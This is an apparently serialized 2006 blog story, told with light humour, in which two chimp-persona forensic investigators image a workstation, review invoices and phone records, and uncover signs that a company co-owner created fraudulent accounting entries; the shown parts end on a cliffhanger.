“It’s the heat man. It’s melting your little monkey brain, kind of like the ridiculous amount of cash that we’re charging these two guys to produce their ‘smoking gun’.” Scrap said as he waved his cigarette smoke away from my face.

“The cash is nice, but we haven’t done anything yet besides bake in this heat. So what did you think of the brothers’ little speech?” I asked.

Scrap scratched his poor excuse for a goatee with his paw and took another drag off of the stinky weed smoldering three inches from his mouth. “Pretty cut and dry. Videotape the act, daily snapshots of the workstation, perform a little magic with Forensic Toolkit, and cash the check. What’s to think about?”

That wasn’t the reaction I was hoping to hear. It was clear that padawan-learner Scrap had not yet mastered his control of the intuition forces within his chimp-like interior.

“Step back from the situation, man. Look at what we do for a living. Look at the reputation we have. Look at the incredible detail involved in this type of work. Now look at… are you listening to me?” I asked as I waved my paws in front of Scrap’s face.

“Huh? Yes, I’m listening. So you’re saying that we’re overkill for this situation.” Scrap hypothesized.

By George, there was hope for Scrap yet.

“That’s a big affirmative. They don’t need us. They need a private investigator, or hell… a frick’in CPA could go through the darn books and provide an adequate audit trail to show fraud. We need to ask ourselves a question.” I said as I took one last slurp of my frap. “Why go to all of this trouble, and all of this expense, when it’s not really necessary?”

Scrap extinguished his smoke and peered at me over the top of his sunglasses. “Chief, look at those two gorillas. Do you think they take the cheap way out of anything? That one dude’s watch costs more than my car!”

I peered at Scrap over the top of my chimp shades, and inched closer to the table.

“Aren’t you the least bit curious in finding out who talked who into hiring us? I have no doubt the referral was genuine, but who was the driving force in hiring us?” I asked as I pointed to both of us.

Scrap thought for a moment and placed his drink on the table in front of him.

The wheels were turning!

“We’re doing someone else’s dirty work? AGAIN?” Scrap moaned and he fumbled around in his pockets for his pack of smokes.

“I’d bet my Starbucks gift card on it.” I said. “And I’ll tell you why on the drive back there.”

All was not what it seemed.

57602-060411-493157-28 Rate content: https://web.archive.org/web/20140910120104/http://numly.com/numly/verify.asp?id=5760206041149315728&rate=yes https://web.archive.org/web/20140910120104/http://numly.com/numly/verify.asp?id=5760206041149315728&rate=no

Source: archived original

Part VI · Apr 19, 2006

_Okay, okay … I can take a hint! This is my busy time of year, so my apologies for the delay in the case file updates. You bunch of addicts!!! =) _

Our story continues!

The Chief and Scrap arrive back at MMM after their strategizing at the bean shrine …“Great hammer of Zeus!” Scrap said as he threw his head back into his seat in the chimp mobile. “Where do you come up with this stuff?”

I chuckled. “You did it again. It’s ‘great hammer of Thor’. Zeus used lightning bolts.”

Scrap cussed under his breath.

I peered over at Scrap out of the corner of my sunglasses, careful to not take my eyes off of the road for very long.

“Look, it’s instinct. Put all the facts of the case together so far, then mix in the people that we’ve met and the conversations that we had today. Now look at my theory again. What do you think?”

Scrap tilted his chimp head against the passenger side window and gazed at the traffic nearby. “I think that reality is calling you collect, man. And it got your answering machine!”

I silently giggled inside. I certainly didn’t want to encourage the blinders that Scrap was apparently wearing.

“Scrap, let’s think about what …”

RING

The chimp phone was squawking from my belt.

“Chief? Hi! It’s Susan. I just wanted to tell you that Dana has the afternoon off, so it’s safe to roll on in and start your investigation.” came the same pleasant voice from my phone.

“Sounds good. We’re already en route and should be there in ten minutes. See you then.” I said as I pressed the ‘disconnect’ button.

“Oh crap!” Scrap exclaimed.

“WHAT!” I replied back in a startled manner.

“Dude, when I packed up our stuff I totally forgot Roscoe. He’s back at your pad in your living room.”

Three seconds until Chief’s head explodes… two… one…

“DAMMIT SCRAP!” I said in disgust as I flipped an illegal u-turn and headed back towards my secret jungle lair.

“How could he have forgotten to load Roscoe in the trunk? He’s the biggest item we carry!” I pondered to myself.

Roscoe was the code name for my beloved forensic workstation that I had purchased on the internet. Roscoe, like any other tool in my arsenal, evolved over time. During this moment in time, he was your basic Pentium III workstation packed securely into a custom-made hard plastic carrying case. The top lid of the case had an LCD screen built-in, and a USB keyboard and mouse fit neatly into a side compartment.

Roscoe was loaded to the hilt with Encase, Forensic Toolkit, several hex editors, a specialized file viewer capable of rendering just about any file format imaginable, password cracking software for zip files, pgp-encrypted files and Microsoft Office documents … you name it, it was on that box. The machine had an easily replaceable IDE cable that snaked out of the side of the workstation making the attachment of write blockers and hard drives a snap.

Roscoe’s case was secured inside a larger travel case that was packed with a craftsman toolkit, external hard drives and CD/DVD writers, disc media, floppy disks, a flashlight, evidence collection/chain of custody bags, safety vests, shoe booties, surgical gloves, a digital camera, a digital video recorder, and a printout of every known Starbucks location in the continental United States.

Needless to say, I wasn’t going anywhere on this case without Roscoe even if he did weigh in at an impressive 85 pounds or so.

A solid hour later, we had retrieved Roscoe and made the long journey back to MMM. We were greeted at the door by Susan and given full access to Dana’s workstation and MMM’s storage room full of files and records.

We were given clear marching orders from the brothers in our previous meeting: they wanted photographic evidence and concrete digital proof of what Dana was doing so that they could expedite her termination and counteract any potential lawsuit.

“Scrap, why don’t you go grab that ladder out of the wiring closet and take a peek above the ceiling tiles. See what you can do about rigging a camera up there, and one in the work area with a clear view of the screen.” I said as I tossed Scrap a nylon bag full of surveillance gear.

“Roger that.” Scrap replied as he wandered over to the wiring closet to locate the ladder that we both spied on our first visit.

I turned my attention to Susan.

“Susan, I have some basic questions that I need to ask you. Do you have a moment?” I inquired as I sat down in a chair near Susan’s desk.

“Oh, sure. Fire away.” Susan said with a smile.

“Scrap and I looked over the background materials that you provided us this morning, and I noticed that the brothers didn’t have an actual staff until you were hired. Who did the books before you and Dana were employed here?” I asked as I scribbled the question down on my notepad.

Susan gave me a surprised look and responded matter-o-factly “I thought you would have asked that question this morning in your meeting with the brothers. Mike always did the financial work and Mark did the marketing.”

I could barely write her answer down on paper.

“So Mike turned the books over to an accountant every quarter?” I queried.

“Chief, Mike is a CPA. He did it all.”

My stomach grumbled.

92623-060418-843361-63 Rate content: https://web.archive.org/web/20140910142208/http://numly.com/numly/verify.asp?id=9262306041884336163&rate=yes https://web.archive.org/web/20140910142208/http://numly.com/numly/verify.asp?id=9262306041884336163&rate=no

Source: archived original

Part VII · Apr 20, 2006

When we last left the Chief and Scrap, they were at MMM beginning their investigation…

“Auuuugggghhhhhhh CRAP!” came a scream from Dana’s cube.

BOOMI got up from my seat across from Susan and peered over the cubicle wall. Scrap had somehow kicked the ladder out from under himself and fell through a ceiling tile in the false ceiling.

Luckily for Scrap he landed on a pile of papers and an empty box full of styrofoam chips.

“Scrap, you okay? What the hell?” I asked as I approached his slow-moving chimp body.

“Man, what a rush. Dude, I think I bruised my brain!” Scrap said as he scratched the side of his head with his paw.

Like we could tell a difference?

“How about you get back up into the ceiling and get this done? We have a lot of material to go through, an initial image of the workstation to make, and additional interviews to conduct. Come on man, on with it!” I said with a grin.

Susan was standing behind me, her mouth still agape from watching Scrap fall through the ceiling.

“Is he hurt?” She asked quietly.

I chuckled. “Nah, happens all the time. Some kind of equilibrium problem in his head. Anyway, let’s get back to the topic at hand. You told me earlier that while Dana was on leave, you had an accountant acquaintance come in to do some light bookkeeping work, right?”

Susan nodded. “Correct. Dana deals primarily with the vendors that we use; places like hotels, meeting halls, catering services, office supplies, airlines, etc. I wanted Barbara to come in and do some account postings and then a quick balance.”

“So Barbara started reconciling the accounts payable, and realized that she had more entries than invoices?” I queried.

Susan kept nodding. “Yep, that’s exactly what happened. When she pointed this out to me, I thought perhaps one of the brothers had forgotten to give Dana a bill or something. However, I have a pretty good idea about what the brothers need on their gigs, and some entries looked suspicious. I asked Mark about them, and he couldn’t figure it out either. He called Mike, and Mike was all over it. Hence the reason you’re standing here in front of me.”

I scribbled on my notepad.

“You mentioned that there’s a fear that if Dana is terminated that she’s going to pursue legal action? On what grounds?” I asked.

“Well, Dana is a minority and she plays that card ALL THE TIME. We didn’t realize this until she needed to take her sick leave months ago. Dana was out of vacation time, so I encouraged her to explore an FMLA unpaid leave. Dana wanted to take a credit on her future vacation hours, which we don’t permit. Of course, according to Dana, we weren’t doing what she wanted because she was a minority. The brothers agreed to credit her a week of vacation hours just to shut up. You have to understand that I’m pretty sure she plays this card to everyone that doesn’t agree with her. It’s unreal!” Susan ranted.

“Interesting.” I said as I turned to a fresh page in my notebook. “One last question, Susan. Does Mark ever examine the financials?”

Susan thought for a moment. “Well, he looks at the monthly numbers. He pretty much leaves that side up to Mike. They both draw the exact same salary, and they split a bonus amount at the end of every year. I always got the feeling that Mark wasn’t really interested in the financials.”

“Gotcha. I appreciate your cooperation Susan.” I said as I shook her hand with my paw.

I hadn’t heard a peep out of Scrap, so I wandered over to Dana’s cube. Scrap was sitting on the top of the ladder, fondling a pinhole camera.

“Um, Scrap? What are you doing?” I asked with a laugh.

“Looking at this camera.” Scrap replied as he held the device a few feet from his eyes.

“And you’re not installing it because…?” I whined.

Scrap looked over at me and raised an eyebrow.

“Because I just pulled it out of the ceiling. Somebody beat us to it.” Scrap said as he tossed me the camera.

My mouth was agape.

23052-060420-147652-93 Rate content: https://web.archive.org/web/20140910135201/http://numly.com/numly/verify.asp?id=2305206042014765293&rate=yes https://web.archive.org/web/20140910135201/http://numly.com/numly/verify.asp?id=2305206042014765293&rate=no

Source: archived original

Part VIII · May 1, 2006

“You trying to catch flies or what boss?” Scrap said as he peered down from the ladder, and watched me inspect the camera.I immediately closed my mouth and rotated the tiny camera device in my hands. It was pretty standard fare for a wireless pinhole camera. It appeared to run off of an external battery.

“Scrap, what’s the power source up there?” I asked. Scrap stuck his head into the ceiling once more, careful not to fall off of the ladder this time.

“Looks like a pretty big battery pack wrapped in duct tape. Not too clean. I’d say there are four or five cells in it. You want me to glove up and bag it?” Scrap responded as he carefully climbed back down the ladder.

I thought intently to myself. “A single battery would probably run this little guy for seven to eight hours. Assuming there were four cells, the owner of the camera was probably looking for 24 hours of coverage. The unit had a very small transmitter, so it couldn’t transmit more than a thousand feet or so…”

“Hey, sleeping beauty? You want me to grab this pack or what?” Scrap said again.

“No. Leave it there. Actually, put the camera back up there but don’t hook up the power supply.” I said as I handed Scrap the camera.

“Let me guess. You want me to move our camera to another location.” Scrap said as he placed a finger next to his temple.

“Correct. Don’t use the wireless gear. Run wired back to that telephone closet and drop the receiver and the VCR into one of our travel cases and lock it.”

Susan appeared out of nowhere.

“Everything going okay? You guys need anything?” she asked with a smile.

“I think we’re doing fine. Would it be okay if I examined some of your personnel records and skim through the past six months of payables?” I asked sincerely.

Susan thought for a moment. “Sure, let me go pull all of that stuff. The brothers are out of the office for the rest of the afternoon, and Mark wanted me to remind you to call him later this afternoon on his cell phone with a status update.”

“Thanks. I’ll do that.” I said as I turned around to eyeball Scrap’s camera installation.

Moments later, Susan informed me that she had pulled the requested information and it was ready to be examined in the sitting area in Mike’s office.

“Scrap, I’m going to stick my nose in some paperwork for a while. You got this covered?” I joked.

Scrap was covered from head to toe in dust and crud from the false ceiling tiles.

“Don’t hurt yourself.” Scrap mumbled.

I wandered into Mike’s office and spied a few boxes of folders. I turned my attention to the employment records, taking down a few notes on my notepad as I examined Dana’s folder. Everything in the records jived with what I had been told.

Interesting.

I moved on to the box of accounts payable documents, filled with copies of invoices and printouts from the accounting software. Susan had given me everything for the past six months, including Barbara’s reconciliation work. According to Barbara, the late tax payments were the result of Dana not printing and mailing the checks. Below these notes was a table of payments made to vendors with question marks near several transactions. The transactions were for even dollar amounts, however the dollar amounts were never the same. They ranged from several hundred dollars for ’event planning services’ to several thousand dollars for travel agencies and catering services.

My curiosity was getting the best of me. I started thumbing through copies of bills and invoices until I arrived at some of the suspicious invoices that Barbara had flagged. The invoices were Xerox copies, but were very clear and easy to read.

I placed the suspicious invoices in a separate pile, and then laid them out on the table next to each other in a nicely organized row.

They all looked the same, aside from differing dates and dollar amounts and … wait a minute. Out of sheer habit, I had lined the invoices next to each other in chronological order by company.

A quick scan of the invoices revealed that the invoice numbers incremented by one for each invoice for each company. What are the odds that these companies weren’t billing any other customers within a 7, 14 or 30 day period?

This would incorrectly suggest that the companies had one client… or someone had a poor imagination coming up with invoice numbers.

97354-060430-890679-68 Rate content: https://web.archive.org/web/20140910133956/http://numly.com/numly/verify.asp?id=9735406043089067968&rate=yes https://web.archive.org/web/20140910133956/http://numly.com/numly/verify.asp?id=9735406043089067968&rate=no

Source: archived original

Part IX · May 3, 2006

If the age-old adage that “curiosity killed the cat” was true, I was one dead pussy.

Stop snickering.My attention turned to a few other stacks of invoices and bills from the past few months and centered on the cell phone bills. They were huge! Each bill was carefully marked in the upper right hand corner with a name. I quickly figured out that this was how Dana (or whoever was paying the bills) was attaching bills to employees of the company.

Mark’s cell phone bill was several pages thick with lots of calls to the MMM office and, according to the company phone list (which strangely enough had cell and home phone numbers listed as well), his brother. Mike’s cell phone bill was easily a third larger with very similar numbers. One particular number seemed to repeat throughout the bill, and the call times varied between 18:00 hours and 02:00 hours.

“Unusual.” I thought to myself.

I flipped through the rest of the bills and made note of interesting companies and amounts.

“Boss.” I heard Scrap say as he stood in the doorway of the office.

“Yo.” I responded without taking my eyes off of my notepad.

“Cameras are up. You want to check these guys out?” Scrap asked.

I peered up from my scribbling to see Scrap brush a few layers of drywall and ceiling tile dust from his shirt.

“I’m sure you have it under control. You ready to image that workstation?” I queried as I noticed that my coffee level was approaching critical.

“Sure. You want to set it up?” Scrap asked in an I-so-want-to-sit-down-and-rest tone.

I chuckled.

“Not a problem. I think I have what I need here.” I said as I placed the invoices and bills neatly back into organized piles.

We walked out to Dana’s cubicle and started to unpack Roscoe. I threw Scrap my trusty digital camera.

“Start snapping.” I said with a smirk.

Scrap was not pleased.

After photographing the work area, we focused our attention on the workstation. It was your average beige box PC with a Windows 2000 license sticker affixed neatly to the rear of the case.

“It’s powered off.” Scrap noted as pulled the workstation from its position on the desk.

After some masterful case removal by Scrap and more photographs, we snaked an IDE tap cable from Roscoe to the workstation’s hard drive.

“Write blocker is in place. Let’s welcome Roscoe to another fun-filled adventure.” I said as I powered up Roscoe.

Well, I attempted to power up Roscoe.

“DAMN!” I screamed. Roscoe was dead.

Scrap grabbed Roscoe and proceeded to initiate computer triage.

“Dude, that’s the second power supply that has died in this guy. What the hell?” Scrap said in disgust.

I dug through my bag of tools and software in despair and grabbed my trusty Encase boot disk.

“We’re saved!” Scrap joked as he unhooked Roscoe and prepared to do a local capture on the workstation.

Scrap double-checked that the internal hard drive wasn’t attached to the machine’s IDE cable, inserted the boot disk, and pressed the power button. He quickly hit the proper key and was looking at a BIOS screen.

“Date and time check out, booting from floppy … looks like we’re ready to do this.”

I was daydreaming.

“Eh, Chief are you there?” Scrap asked as he waved his paws around in the air.

“555-0055” I said out loud.

“Is that a song? I thought it was ‘8-6-7 …’” Scrap joked.

“No, no, no. I’ll be right back. Start the imaging.” I barked as I walked back into the office and towards the piles of bills and invoices.

I flipped through Mike’s cell phone records again and looked at the popular phone number, and the odd times that it was dialed.

Holding the cell phone records with one hand, I scanned the company phone directory for the phone number.

Mike and Dana must have had a lot to talk about.

At two o’clock in the morning?

21390-060502-131035-92 Rate content: https://web.archive.org/web/20140910123649/http://numly.com/numly/verify.asp?id=2139006050213103592&rate=yes https://web.archive.org/web/20140910123649/http://numly.com/numly/verify.asp?id=2139006050213103592&rate=no

Source: archived original

Part X · May 10, 2006

“I need an iced coffee, stat!” Scrap said as he plopped down on a leather couch in the office, carefully dramatizing his tired state.

I reached into my pocket, collected my car keys and playfully threw them at Scrap, who made a wide-eyed softball catch with one hand.“Hey! Not cool! You’re not coming with?” Scrap inquired.

“Is the hard drive acquisition completed?” I asked.

“Oh yeah. Right.” Scrap replied. “So, you look like somebody stepped on your banana with a pair of steel-toed work boots. What’s up?”

I continued to scribble in my notepad. “Remember the conversation that we had in the car on the way over here?”

Scrap looked up at the ceiling. He always did that while performing mental research inside his cranial cavity. It was if he was waiting for the lone marble spinning around in there to touch a magic memory spot.

“Your theory? Sure. I remember. And I’m even low on caffeine.” Scrap laughed.

“Well, I was off a bit. I suspect that…” I trailed off as a figure appeared in the office doorway.

“GUYS! How’s it going? I see we have a computer torn apart and making weird noises, and you’re making your way through the accounting records. Excellent. Your reference said that you moved quickly. Going smooth I take it?” Mike said from behind a smile composed of perfectly capped teeth.

“Everything is going great. We’re just finishing up a few things and then we’ll be back periodically over the next few days.” I said in my best sales suit voice. “Scrap, let’s give Mike some breathing room in here. I’m sure he doesn’t want your dust-covered chimp butt on his couch.”

“Hey, it’s cool. How did you get so dirty, Scrap? You look like you fell through the ceiling of a flour mill.” Mike joked.

“Oh, just crawling around on the floor, man. My boss is a slave driver.” Scrap said as he wandered out to check on Dana’s workstation.

Mike grabbed my arm on my way out the door.

“Slam dunk?” he asked.

“Errruuuhhhh?” I asked in my best Scooby Doo voice.

“Slam dunk. You know, you found what you need to solve our little ‘problem’ in the office?” Mike persisted.

I took half a step backwards toward the door and composed myself.

“We’re making decent progress. I’ll keep you and your brother in the loop, although I’m not planning on having a status meeting for a few days.”

Mike polished the face of his Rolex with his handkerchief. People still use handkerchiefs?

“Right. No problemo. I need to make some phone calls, so I’ll let you get back to what you were doing there, Chief.” Mike said with another grin.

Okay, that was uncomfortable.

I joined Scrap in front of Dana’s cube and we watched the second Encase image of the hard drive finish. I tagged and bagged the drives while Scrap reassembled the workstation and tidied up the work area. The cubicle was almost cleaner than when we arrived.

“Ready for that coffee?” I asked Scrap as we grabbed our bags.

“And how.” Scrap replied as he licked his lips.

“Chief! Chief! Chief!” I heard Susan say in a hurried panic of a voice.

“Hey! We’re almost out of here, sorry to take so lon…”

“Chief! You guys need to go down the back steps right now. Dana just called me and she’s five minutes down the road. She’s coming in to pick up some work to take home.” Susan said as she directed us to the back door.

She didn’t have to tell us twice.

Scrap and I double-timed it down the back stairs and walked casually back out to the parking lot to our car. To my left I saw a black Volkswagen bug pull into a parking space directly in front of the walkway to MMM. A thirties-something yet trying-to-look-much-younger woman exited the driver’s door and walked with a brisk pace towards the stairs.

“Think she’ll notice?” Scrap queried as we deposited our gear into the trunk of the car.

“Notice? Notice what?” I asked.

“That we completely defiled her workplace … and, umm….” Scrap hem-hawed.

“Out with it. What?”

Scrap reached into his unzipped tool bag and pulled out a PS/2 mouse.

“That I forgot to plug her mouse back in?” Scrap said with a wince.

Dammit, Scrap.

90994-060510-827080-61 Rate content: https://web.archive.org/web/20140910144411/http://numly.com/numly/verify.asp?id=9099406051082708061&rate=yes https://web.archive.org/web/20140910144411/http://numly.com/numly/verify.asp?id=9099406051082708061&rate=no

Source: archived original

Part XI · May 16, 2006

I knew what I wanted, and I was going to get it right then and there. I put forth my paw, only to retract it and hover above another section of humid warmth.

“Buffets are evil.” I mumbled to myself as I slapped the last pound of food on my tray. Scrap had already filled his tray with a vast assortment of food and was in the process of gnawing on a chicken leg and making moves on the waitress - or maybe I had those backwards. “Two inches.” I said as I sat down at Scrap’s booth and placed my tray on the badly scratched wooden surface of the table. “You came within two inches of causing my head to explode today.”

Susan’s recent phone call echoed loudly in my memory. Dana had arrived at the office and shuffled around her work area, but did not attempt to access her workstation. Scrap’s little mishap went unnoticed.

Scrap dropped the badly devoured chicken leg on his tray and enjoyed a long drink of his soda.

“I’m sorry, man. I was in a hurry and wasn’t paying attention to what I was putting in my bag. I’m pretty sure everything else was right where it should have been according to the pictures that we took. Dude, I even vacuumed her cube!” Scrap lamented.

I stabbed a beef medallion with my fork and used the knife in my other paw to carve off a tender bit of cow goodness.

“I understand, but try to keep in mind that you have to work backwards sometimes. After the acquisition is complete, you need to press the ‘rewind’ button on your chimp brain and put everything back exactly where it was - right down to the dust bunnies and dead flies. Remember what happened at that Spanish wholesale foods company?” I said excitedly.

Scrap pondered my request for a few moments. “Oh, yeah! Wow, you really messed up that time.”

I was shooting Scrap a look of death, but at the same time remembering a serious mistake that I had made at a client location.

[Flashback] _We had been brought in several years earlier to image the workstation of an executive at a Spanish wholesale foods company. The job had encountered several technical challenges that made the job last almost eight hours. I was fatigued and not thinking clearly. During the imaging of the executive’s workstation, I had adjusted the backrest of his chair to accommodate my frequent stretching. Unfortunately for this monkey, I forgot to adjust the backrest to its previous location. When the executive returned to his locked office the following morning and sat in his chair, he knew someone had been in his office. He became suspicious and confronted the other members of management that had initiated the engagement. Not a pretty sight. _ [/flashback]

The blood was rushing from my brain to my stomach, and I knew that I was one doomed monkey. Unfortunately for me, I wanted to make a first pass run through the image of Dana’s workstation before the next day.

Time to hit Starbucks.

An hour later I was seated in my lab at my secret jungle lair and examining a copy of Dana’s workstation image. The original image (in addition to yet another copy of the image) was safely wrapped in an anti-static bag, tucked away inside a chain of custody bag. AccessData’s Forensic Toolkit was making short work of the data on the image and soon greeted me with a plethora of data adventures to begin.

The workstation had two user accounts: Administrator and Accounting. A cursory inspection of Administrator’s home directory showed nothing of interest. The account had not been used to log into the machine in over a year.

Accounting’s home directory was where the action was.

I knew that MMM used a popular accounting package and Microsoft Office documents to manage the finances. I knew that this accounting package had a proprietary database structure and that I would have to install the accounting software on a test machine to look at the data. Lucky for me I had grabbed the retail box of this software while at MMM for just that purpose.

After an installation procedure that never seemed to end and a quick database restore, I double-clicked the accounting software’s launch icon and was greeted by a login screen.

“Hmmm.” I thought to myself. I hadn’t had the foresight to remember to ask Susan for authentication information for the accounting software.

I knew that the default administrator user in the software was ‘admin’, and according to the documentation in the software’s retail box, the default password was ‘password’.

No way it could be this easy.

A-d-m-i-n. P-a-s-s-w-o-r-d.

I was in.

A quick scan of available user accounts showed several users: Admin, suze, mmm and dana. There was user information provided for ‘suze’ and ‘dana’ linking those accounts to Susan and Dana. The Admin info fields were factory default. The user ‘mmm’ appeared to have been created by Mike shortly after the software was installed. I made meticulous notes of these facts on my notepad.

I stumbled through option screen after option screen until I came to something that looked promising. Under a tab marked “History” I found an option labeled “Transaction History”. I ran a transaction history report, but unfortunately no user information was assigned to each transaction.

How was I going to know which user put in which transaction?

A quick (and expensive) call to the software’s help desk proved futile. Nobody had ever asked for such a feature. Great.

It was getting late and my eyes were starting to close on their own. The coffee pot was empty. I was not happy.

My monkey butt was three inches off of the surface of my office chair when an idea popped into my head.

Could FTK read the proprietary database format?

After a few mouse clicks, FTK revealed a startling fact to me. The database format appeared to be some sort of fixed-length plain-text hack. FTK screamed through the database. After several searches on the ‘questionable’ vendor names that Barbara had noted in her report, I noticed a pattern immediately.

All of the entries were entered by ‘mmm’.

78447-060516-701607-49 Rate content: https://web.archive.org/web/20140910120818/http://numly.com/numly/verify.asp?id=7844706051670160749&rate=yes https://web.archive.org/web/20140910120818/http://numly.com/numly/verify.asp?id=7844706051670160749&rate=no

Source: archived original

Part XII · May 23, 2006

Twenty thousand cymbals were being smashed by twenty thousand hammers. Or, I might have added just a touch too much Captain Morgan to my nightcap. The sound permeating my brain was Scrap ringing my doorbell incessantly.

Why was Scrap here?

I rolled over and realized that I had dozed off on the couch, a mere ten feet from the door of my home-based forensics laboratory. A quick glance at the clock revealed that it was almost 11:00 hours. No wonder Scrap was ringing my doorbell.

It was almost lunchtime.

I wiped the sleep from my eyes and opened the door to find a strangely energetic Scrap with a hot cup of Starbucks brain food in his hand.

“Dude, this cup is burning my paw. Take it already!” Scrap whined as he thrust the familiar green logo cup towards me.

I wasn’t going to argue.

I motioned for Scrap to sit down on the couch and threw my notepad into his lap.

“Do you smell that?” I asked.

Scrap grimaced.

“Sorry man, McDonalds was the only thing open this morning and I was craving a sausage egg mcmuffin…”

I slurped on my coffee loudly.

“No, fool. Look at my notes from last night. It turns out that there was a way to figure out which user of the accounting software put in the questionable entries. This was their ‘big mystery’.”

Scrap looked over my notes and squinted his eyes during a deep thought process. Smoke appeared to bellow from his ears.

“So, the next step is to put a person in front of the computer. This person would be logging in as ‘mmm’ and guilty as hell?”

I slurped the last of my coffee with satisfaction.

“Correct. We need to get back into the office today and inspect our surveillance tape.”

[Aside] It is worth noting that at this point in the case, we had not made it obvious to anyone in the office that we had installed surveillance cameras, only that we were conducting an inspection. Depending on my gut feeling and the security policy in place at the facility, I may or may not make the client aware that a location is being taped. [/Aside]

Scrap and I spent the early afternoon going over the image of Dana’s workstation with the finest granularity we could muster. Nothing significant was found beyond the usage of the accounting software.

We scurried back to the office later the following evening and let ourselves into the office with a key provided by Susan.

We would have returned an entire day earlier, however Susan advised us that part of their suite was being repainted and recommended that we not go in unless we were wearing some sort of air filtration system. This was unexpected, but enabled us to perform additional lab research on the accounting files and usage habits of the users on Dana’s computer.

“Creepy.” Scrap said as he looked around for a light switch using the emergency lighting as a guide. “Found it!”

The interior lights of the office came on and nearly blinded me.

Scrap unlocked the wiring closet and removed the ladder so that we could both fit inside to rewind and view our tape. With our timeline screwed up by the painting, we would only have the first twelve hours after camera set up to view.

We had to keep remembering that the events we were watching happened two days ago.

Dana appeared on the tape briefly. The date and time stamp on the tape showed that it was merely minutes after we left the office that day and discovered that Scrap had forgotten to replace Dana’s mouse. Dana entered her cube with her back turned to both cameras. She quickly shuffled some items around in a desk drawer, talked to Susan and left the same way she came in.

“Interesting.” I said as I held my head with my paw.

Scrap fast-forwarded the tape to the very end.

Nothing. Aside from Susan looking up a few invoices while talking on her cell phone, there were only a few busy custodians and a curious fly disturbing Dana’s cube.

“Well, back to square one. Let’s get a fresh tape in there and image this fricking workstation.” I mumbled as I watched Scrap swap out the tape.

Scrap masterfully disassembled the cover of the workstation once again and we got to work.

For the second time in a row, my Encase boot disk was the star of the show. It would be days until we received a replacement power supply for Roscoe.

“Holy long nights, Batman! Three hours to go on that capture. Maybe one of us should go get some chow and coffee?” Scrap inquired.

“You know, that’s not a bad…” I began.

I was interrupted by the sound of keys being inserted into the lock on the front door.

I glanced at Scrap, and Scrap returned my worried gaze.

I slowly raised myself up enough that I could see over the cubicle wall.

Dana was entering the office, with what appeared to be her boyfriend in tow.

The boyfriend reminded me of an older, heavier version of the homeless guy that wandered through a neighborhood I once called home.

As Dana and company moved closer, my eyes were focusing the boyfriend’s arm.

It was placed neatly across his abdomen, resting on another object.

A handgun.

_Note From The Chief: now would be a really good idea to go back and read the following entries: ++ Case Of The Lucrative Lure - PART ONE ++ Case Of The Lucrative Lure - PART THREE

What is going on? Why IS Dana coming back to the office? And why does Scrap eat junk food for breakfast?_

82440-060523-999581-78 Rate content: https://web.archive.org/web/20140910153805/http://numly.com/numly/verify.asp?id=8244006052399958178&rate=yes https://web.archive.org/web/20140910153805/http://numly.com/numly/verify.asp?id=8244006052399958178&rate=no

Source: archived original

Part XIII · May 30, 2006

“Mommy, I’m scared.” Scrap whispered in my direction.

Leave it to Scrap to never lose the sense of humor, even in the most potentially dangerous situations.I slowly raised my head over the cubicle wall and glanced towards our new visitors again. The boyfriend closed the door behind him and appeared to either be really tired, or really stoned. Or both.

“How long is this going to take? I want to go to the bar.” he said after a few cigarette-induced coughs.

“Maybe I’d have a motorcycle to match my lovely piece of crap Nissan pickup if someone would pay me?” Nevits said sarcastically.

Motorcycles? Money? Dopehead?

“Of all the cases that we’ve worked, we’ve really picked a doozy this time!” I muttered quietly to Scrap.

Scrap took a deep breath. “I should be chatting with hotties on IRC right now, man. How we playing this one? Stoner boy has a gun!”

I had to think fast, and without the added stimulation of a finely brewed cup of coffee. This could go really, really bad.

“I have plan. Follow my lead. Try not to say too much.” I whispered.

I gave Scrap a hand motion to follow me as I crawled towards the wiring closet. The closet wasn’t viewable from the front of the office, and had a clear shot of the back door for a quick escape.

We both ascended to our feet and quietly dusted off our pants.

“You ready for this?” I whispered.

“No.” Scrap replied.

“Shut it.” I muttered as I cleared my throat, put a smile on my face, and wandered around the corner.

“Hello?” I said as I faced our visitors.

Dana let out a quick scream.

“OH MY GOD! Who are you? What are you doing here? You about scared the crap out of me!” Dana yelled. Nevits hand massaged the gun in his waistband.

“Look, I really need to get on this computer. How long is this going to take?” the suspect asked.

Dana was looking frustrated and glaring at Nevits.

“A few HOURS? Boy, I don’t have a few HOURS. I need to get some work done RIGHT NOW. You better put that thing together and plug all that crap back in because I need to work! This is so typical of the brothers. I suppose you two work cheap at night or something.” Dana whined as she threw her hands up in the air.

Almost on cue, Scrap walked around the corner with a screwdriver and a battery-powered drill in each paw.

“Listen to me, this is my computer - in my cubicle - and it has MY work on it. Put it together NOW!” Dana said angrily.

Nevits apparently woke from his stupor coma and walked up behind Dana.

“Yeah, man. You need to fix that thing now. We got things to do.” said Nevits as he uncrossed his arms to expose the handgun shoved in his pants.

Scrap knew what I wanted: a distraction. Scrap, the master of inane chatter and miscellaneous conversation immediately delved into a mindless tirade of useless banter on food and beer.

I knelt down next to the machine and carefully removed my cell phone from my pocket.

“Seriously! They kicked me out. And I hadn’t even had a single drink. Can y’all believe it?” Scrap rambled on.

Dana and Nevits were actually enjoying Scrap’s infamous story of being thrown out of a strip club face-first into the street.

The number on the other end of my cell phone was ringing.

“Hello?”

I breathed a sigh of relief.

“It’s Chief. How fast can you get down here to MMM?” I asked.

“I’m eating at a place right around the corner. What’s up?” asked the voice.

“Dana is here. I think you two should have a conversation.” I whispered.

“You have got to be… oh crap. Right. On my way.” said the voice as the call ended.

I slipped my cell phone back into my pocket and stood up. Dana was standing inches behind me, nodding her head like she was listening to one of Scrap’s famous “What happens in Vegas” stories.

Seconds after the not-so-climatic ending to Scrap’s story, Dana turned her head and stared in my direction.

“I heard you.” Dana said in a serious tone.

“Beg your pardon?” I responded.

“I heard you on the phone.” Dana said. “Who were you talking to? What are you really doing here? How did you know my name?” Dana inquired as she nudged Nevits.

I was on the spot, but saved when a familiar voice came from the front door.

“Because I told him.” Mark said as he closed the door behind him.

I hadn’t even heard the door open. Apparently Mark is a speedy eater.

“Mark? What are you… oh, I get it. This just completes the picture, right? I thought you were smarter than this, Mark.” Dana said as she sat on the corner of her desk.

“Actually, Dana… I think Chief has put together a much more clearer picture than you think.” Mark replied as he adjusted the toothpick in his mouth. “Chief?”

“Dana, my name is Chief and Mr. Entertainer here is my associate Scrap. We’re information security investigators, and I’d like to ask you some questions.” I said.

Dana was staring off into space.

“Dana, why did you come into the office tonight?” I asked.

Dana turned around and unlocked a drawer in her desk.

What she pulled out put a look of satisfaction on my face.

